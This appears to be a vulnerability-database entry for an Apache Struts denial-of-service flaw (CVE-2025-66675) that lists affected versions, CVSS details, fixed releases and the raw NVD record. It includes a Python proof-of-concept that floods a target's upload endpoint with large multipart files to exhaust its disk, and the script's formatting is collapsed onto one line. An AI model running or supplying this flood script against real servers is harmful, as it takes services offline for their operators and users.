Security Vulnerability Report
中文
CVE-2025-66675 CVSS 8.2 HIGH

CVE-2025-66675

Published: 2025-12-10 10:16:02
Last Modified: 2025-12-16 18:39:52

Description

Denial of Service vulnerability in Apache Struts, file leak in multipart request processing causes disk exhaustion. This issue affects Apache Struts: from 2.0.0 through 6.7.4, from 7.0.0 through 7.0.3. Users are recommended to upgrade to version 6.8.0 or 7.1.1, which fixes the issue. It's related to  https://cve.org/CVERecord?id=CVE-2025-64775  - this CVE addresses missing affected version 6.7.4

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:* - VULNERABLE
Apache Struts 2.0.0 - 2.5.x
Apache Struts 2.6.0 - 6.7.4
Apache Struts 7.0.0 - 7.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-66675 PoC - Apache Struts File Leak DoS # Description: Send multiple multipart requests to exhaust disk space # Target: Apache Struts servers with vulnerable multipart processing TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/upload.action" NUM_REQUESTS = 1000 # Number of requests to send def create_malicious_file(size_kb=1024): """Generate a file of specified size for upload""" return b'X' * (size_kb * 1024) def exploit_file_leak(): """Exploit the file leak vulnerability by sending multiple file uploads""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } print(f"[*] Starting CVE-2025-66675 exploit against {TARGET_URL}") print(f"[*] Sending {NUM_REQUESTS} malicious multipart requests...") for i in range(NUM_REQUESTS): files = { 'upload': (f'malicious_file_{i}.txt', create_malicious_file(1024), 'text/plain') } try: response = requests.post(TARGET_URL, files=files, headers=headers, timeout=10) if i % 100 == 0: print(f"[*] Progress: {i}/{NUM_REQUESTS} requests sent") except requests.exceptions.RequestException as e: print(f"[!] Request {i} failed: {e}") print("[*] Exploit completed. Check disk space on target server.") if __name__ == "__main__": exploit_file_leak()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66675", "sourceIdentifier": "[email protected]", "published": "2025-12-10T10:16:02.170", "lastModified": "2025-12-16T18:39:51.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Denial of Service vulnerability in Apache Struts, file leak in multipart request processing causes disk exhaustion.\n\nThis issue affects Apache Struts: from 2.0.0 through 6.7.4, from 7.0.0 through 7.0.3.\n\nUsers are recommended to upgrade to version 6.8.0 or 7.1.1, which fixes the issue.\n\nIt's related to  https://cve.org/CVERecord?id=CVE-2025-64775  - this CVE addresses missing affected version 6.7.4"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-459"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndIncluding": "2.3.37", "matchCriteriaId": "AB32EC52-8599-4E6C-9F87-D2BC050A2531"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.5.0", "versionEndIncluding": "2.5.33", "matchCriteriaId": "52DA80BB-35F0-4290-902F-66D27FB9A98F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.8.0", "matchCriteriaId": "3F8EB632-F594-4D9D-917E-8D20FAAF46DB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.1.1", "matchCriteriaId": "F5D73897-58B2-4229-A621-B651E4797241"}]}]}], "references": [{"url": "https://cve.org/CVERecord?id=CVE-2025-64775", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://cwiki.apache.org/confluence/display/WW/S2-068", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}